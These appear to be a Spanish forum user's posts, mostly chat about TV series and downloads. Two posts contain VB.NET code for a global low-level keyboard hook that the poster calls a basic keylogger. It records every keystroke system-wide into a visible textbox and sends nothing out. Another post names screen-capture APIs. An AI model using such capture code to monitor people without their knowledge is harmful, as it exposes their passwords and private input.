Mensajes

Las librerias propias es grande? osea me refiero que esta casi todo en esas librerias?

Por ejemplo mover el ratón a una posición... ¿Estaria en la libreria propia de java?

Saludos

Lo siento jajajaa el error fue mio:

Código [Seleccionar] Expandir

Public Class Keyboard
        Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal Hook As Integer, ByVal KeyDelegate As KDel, ByVal HMod As Integer, ByVal ThreadId As Integer) As Integer
    Private Declare Function CallNextHookEx Lib "user32" (ByVal Hook As Integer, ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
    Private Declare Function UnhookWindowsHookEx Lib "user32" Alias "UnhookWindowsHookEx" (ByVal Hook As Integer) As Integer
    Private Delegate Function KDel(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
    Public Shared Event Down(ByVal Key As String)
    Public Shared Event Up(ByVal Key As String)
    Private Shared Key As Integer
    Private Shared KHD As KDel
    Private Structure KeyStructure : Public Code As Integer : Public ScanCode As Integer : Public Flags As Integer : Public Time As Integer : Public ExtraInfo As Integer : End Structure
    Public Sub CreateHook()
        KHD = New KDel(AddressOf Proc)
        Key = SetWindowsHookEx(13, KHD, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
    End Sub

    Private Function Proc(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KeyStructure) As Integer
        If (Code = 0) Then
            Select Case wParam
                Case &H100, &H104 : RaiseEvent Down(Feed(CType(lParam.Code, Keys)))
                Case &H101, &H105 : RaiseEvent Up(Feed(CType(lParam.Code, Keys)))
            End Select
        End If
        Return CallNextHookEx(Key, Code, wParam, lParam)
    End Function
    Public Sub DiposeHook()
        UnhookWindowsHookEx(Key)
        MyBase.Finalize()
    End Sub
    Private Function Feed(ByVal e As Keys) As String
        Select Case e
            Case 65 To 90
                If Control.IsKeyLocked(Keys.CapsLock) Or (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Return e.ToString
                Else
                    Return e.ToString.ToLower
                End If
            Case 48 To 57
                If (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Select Case e.ToString
                        Case "D1" : Return "!"
                        Case "D2" : Return "@"
                        Case "D3" : Return "#"
                        Case "D4" : Return "$"
                        Case "D5" : Return "%"
                        Case "D6" : Return "^"
                        Case "D7" : Return "&"
                        Case "D8" : Return "*"
                        Case "D9" : Return "("
                        Case "D0" : Return ")"
                    End Select
                Else
                    Return e.ToString.Replace("D", Nothing)
                End If
            Case 96 To 105
                Return e.ToString.Replace("NumPad", Nothing)
            Case 106 To 111
                Select Case e.ToString
                    Case "Divide" : Return "/"
                    Case "Multiply" : Return "*"
                    Case "Subtract" : Return "-"
                    Case "Add" : Return "+"
                    Case "Decimal" : Return "."
                End Select
            Case 32
                Return " "
            Case 186 To 222
                If (Control.ModifierKeys And Keys.Shift) <> 0 Then
                    Select Case e.ToString
                        Case "OemMinus" : Return "_"
                        Case "Oemplus" : Return "+"
                        Case "OemOpenBrackets" : Return "{"
                        Case "Oem6" : Return "}"
                        Case "Oem5" : Return "|"
                        Case "Oem1" : Return ":"
                        Case "Oem7" : Return """"
                        Case "Oemcomma" : Return "<"
                        Case "OemPeriod" : Return ">"
                        Case "OemQuestion" : Return "?"
                        Case "Oemtilde" : Return "~"
                    End Select
                Else
                    Select Case e.ToString
                        Case "OemMinus" : Return "-"
                        Case "Oemplus" : Return "="
                        Case "OemOpenBrackets" : Return "["
                        Case "Oem6" : Return "]"
                        Case "Oem5" : Return "\"
                        Case "Oem1" : Return ";"
                        Case "Oem7" : Return "'"
                        Case "Oemcomma" : Return ","
                        Case "OemPeriod" : Return "."
                        Case "OemQuestion" : Return "/"
                        Case "Oemtilde" : Return "`"
                    End Select
                End If
            Case Keys.Return
                Return Environment.NewLine
            Case Else
                Return "<" + e.ToString + ">"
        End Select
        Return Nothing
    End Function
End Class

Hola,BrokerJoker....

Bueno.. yo hace unas semanas hice un keylogguer pero básico que solo registraba las teclas pulsadas. (pero no se si esto es realmente es lo que pide,Espero que sí)


Bueno lo pongo aquí por si acaso..

Código [Seleccionar] Expandir

Public Class Form1
    Dim WithEvents K As New Keyboard
    Dim append As String
    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        K.DiposeHook()
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        K.CreateHook()
    End Sub
    Private Sub K_Down(ByVal Key As String) Handles K.Down
        append &= Key
        TextBox1.Text &= Key
    End Sub

    Private Sub BorrarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles BorrarToolStripMenuItem.Click
        TextBox1.Text = ""
    End Sub

    Private Sub SalirToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles SalirToolStripMenuItem.Click
        Me.Close()
    End Sub
End Class




Saludos

Api:

Capturewindow ' captura la ventana activa

captureScreen ' captura la pantalla completa

Saludos

Que gran noticia!

'La sangre y la tortura, no son arte ni cultura''.



"Los perros tienen un solo defecto: ellos creen en los hombres"
Saludos

El puto amo xd mira mi avatar es mi ídolo actual aunque sea ficticio xD

Por cierto tiene final la serie? e visto en wikipedia que tiene unas 5 temporadas.. y no veré el último capitulo de la temporada por que si no, no tiene emoción jaja(sería una tontería como acaba sin ver la serie, por eso te lo pregunto xd)

Saludos

Yo os recomiendo Breaking bad . he aprendido mucho con la serie + curiosidad. fulminato de mercurio es una sal muy sensible a la fricción y explosiva, también he aprendido que con la pseudoefedrina se crea la anfetamina "droga" y curiosamente cuando estaba tomandome mi medicación para la alergia comprobé el compuesto y tenia pseudoefedrina. xD cosas de la vida. y muchas cosas más he aprendido mirando por internet pero no os lo puedo decir .

saludos. xD

Vi de que iba esa serie y pone esto:

Breaking bad es una serie de televisión estadounidense creada y producida por Vince Gilligan y protagonizada por Bryan Cranston y Aaron Paul. Se estrenó el 20 de enero de 2008 en la AMC y ha recibido seis de los dieciséis Emmy a los que ha sido nominada durante varias ediciones.

Ya con eso se ve que tiene que ser muy buena... además me gusta el tema... Pongo aquí una breve descripción:

Walter White (Bryan Cranston) es un aplicado profesor de instituto, padre de un joven discapacitado y con una mujer (Anna Gunn) embarazada. Walt, además, trabaja en un lavadero de coches por las tardes. Cuando le diagnostican un cáncer pulmonar terminal se plantea qué pasará con su familia cuando él muera. Por ello decide contactar con un antiguo alumno suyo (Aaron Paul) para fabricar y vender metanfetamina y así asegurar el bienestar económico de su familia. Mientras tanto, el acercamiento al mundo de las drogas y el trato con traficantes y mafiosos contamina la personalidad de Walter, el cual va abandonando poco a poco su personalidad recta y predecible para convertirse en alguien sin demasiados escrúpulos cuando se trata de conseguir lo que quiere.]

Saludos y gracias muy buena esta serie

libros kung fu bruce lee.zip (46.76 MB)

Download URL: http://www.gigasize.com/get/48rsnmns41c  

no funciona pido disculpas.

Si funciona.. lo acabo de descargar

Por cierto ami me encanta como pelea Bruce lee para mi el mejor a ese no le gana NADIE.

Saludos Y gracias

prueba american horror story pero no se si esta terminada o no. :!

Sí, esa me aconsejaron arriba y la vi ayer y me gusta...

Estoy viendo Horro Story y aconsejo 100% The Big Ban Theory aprendes mucho con esa serie

Saludos  y gracias

TercerMilenio ha puesto un vídeo mas sobre la invisibilidad:

http://www.youtube.com/watch?v=Z31cx168pUA&feature=g-vrec&context=G20c55d1RVAAAAAAAABA